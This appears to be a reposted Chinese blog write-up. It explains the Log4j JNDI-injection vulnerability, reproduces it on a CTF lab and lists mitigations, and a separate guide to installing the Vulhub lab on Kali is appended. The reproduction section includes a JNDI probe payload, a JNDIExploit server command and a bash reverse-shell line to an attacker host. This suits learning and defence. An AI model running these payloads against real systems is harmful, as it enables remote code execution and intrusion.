log4j漏洞原理和靶场复现

Posted Aiwin-Hacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j漏洞原理和靶场复现相关的知识,希望对你有一定的参考价值。

目录

前言

一、Log4j的前置知识

1,JNDI接口

2,LDAP协议

3,RMI协议 

4,Log4j

二、Log4j漏洞的成因

三、Ctfshow靶场复现

四、Log4j的临时缓解措施


前言

提示:这里可以添加本文要记录的大概内容:

Log4j作为核弹级别的漏洞,影响十分广泛,作为刚入门网络安全的小白,之前对Java的知识很不熟悉,最近接触了一点关于SpringBoot2的微服务开发,对Java有了些许了解。因此,了解了一下Log4j漏洞,做个小小的总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、Log4j的前置知识

1,JNDI接口

解释:JNDI全称为 Java Naming and Directory Interface,是JAVA命名和目录接口的一种JAVA API,应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。

2,LDAP协议

解释:LDAP称为轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。

3,RMI协议 

解释:JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

4,Log4j

解释:Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。

二、Log4j漏洞的成因

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含$时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

三、Ctfshow靶场复现

1,进入靶场

先使用dnslog 域名解析探测是否存在Log4j漏洞,$jndi:ldap://dns,通过ldap协议进行域名解析,被记录则存在漏洞。

 2,在远程vps上搭建LDAP服务器,并将恶意代码编译并挂在服务器上,对JAVA不太熟练,直接使用JNDIExploit工具进行搭建。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 12x.7x.2x.17x -p 4444 启用恶意服务

 通过bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1反弹shell

bash -i 指开启一个交互式的Shell

&符号用于区分文件和文件描述符

>&表示标准输出或标准错误输出重定向到文件

0指标准输入重定向,1指标准输出重定向,2指错误输出重定向

/dev/tcp指linux下的特殊设备,可用于建立Socket连接

bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1 指将标准输出重定向到/dev/tcp/ip/port端口文件中即重定向到攻击机,靶机的标准输入被重定向到了标准输出,标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,所以可以看到攻击机输入命令并看到结果。

3,使用nc工具监听端口,接受反弹shell

BASE64编码后+和=进行一次URL编码才能被工具识别 

 得到flag(工具的payload有很多,可耐心多尝试几个,由于JDK版本等原因,可能一些不行)

注:若是云服务器,切记配置安全组规则,开启端口出入方向的访问,否则跟我一样傻呆呆。

 原理:通过Lookup接口+LADP,从服务器请求下载了存在恶意payload的class文件,由于日志检测时,存在$则触发替换机制,导致了表达式被替换成了lookup查找到的恶意payload,在请求过程中被实例化解析执行了。

四、Log4j的临时缓解措施

关闭Lookup功能:

(1)设置log4j2.formatMsgNoLookups=True

(2)Dlog4j2.formatMsgNoLookups=true。

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true

(4)采用防火墙对请求流量中的$jndi进行拦截,防止JNDI注入。

(5)禁止存在漏洞的业务访问外网,主动外连外网。
 


 总结

Log4j漏洞影响的组件十分之多,触发漏洞的条件低,却能够执行任意的代码,危害十分的高。本来方便开发使用的组件,由于替换的bug酿成大祸。由于JAVA只懂一些,也是没法进行具体的源码分析,路还长,怀着耐心慢慢走。

kali中安装漏洞靶场Vulhub(超详细)

前言

我们都知道,在学习网络安全的过程中,搭建漏洞靶场有着至关重要的作用。复现各种漏洞,能更好的理解漏洞产生的原因,提高自己的学习能力。下面我在kali中演示如何详细安装漏洞靶场Vulhub。

什么是Vulhub?

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。Vulhub的官方地址为www.vulhub.org

安装docker

因为Vulhub是一个基于docker和docker-compose的漏洞环境集合,所以,第一步我们需要安装docker,切换成root用户,象征性的更新一下软件,输入如下命令
apt-get update
技术图片
安装https协议、CA证书
apt-get install -y apt-transport-https ca-certificates
技术图片
安装docker
apt install docker.io
技术图片
等待几分钟,查看版本,是否安装成功。
docker -v
启动docker
systemctl start docker
显示docker信息
docker ps -a
技术图片

安装pip

apt-get install python3-pip
技术图片

安装docker-compose

pip3 install docker-compose
技术图片
查看docker-compose版本
docker-compose -v

下载Vulhub

这个下载速度有点慢,差不多需要一两个小时,执行这条命令下载。
git clone https://github.com/vulhub/vulhub.git
技术图片
下载成功后,进入到vulhub目录( cd vulhub ),通过 ls 命令查看漏洞靶场。
技术图片
下面,随便进入一个目录,
cd /vulhub/flask/ssti
技术图片
启动环境
docker-compose build //可选
docker-compose up -d
技术图片
查看启动环境,发现端口是8000
docker-compose ps
技术图片
浏览器访问,启动成功
技术图片
docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:
docker-compose down
技术图片
完工!

以上是关于log4j漏洞原理和靶场复现的主要内容,如果未能解决你的问题,请参考以下文章

kali中安装漏洞靶场Vulhub(超详细)

用vulfocus靶场环境复现Log4j2远程命令执行漏洞

用vulfocus靶场环境复现Log4j2远程命令执行漏洞

用vulfocus靶场环境复现Log4j2远程命令执行漏洞

shiro反序列化漏洞复现

墨者靶场 uWSGI 漏洞复现(CVE-2018-7490)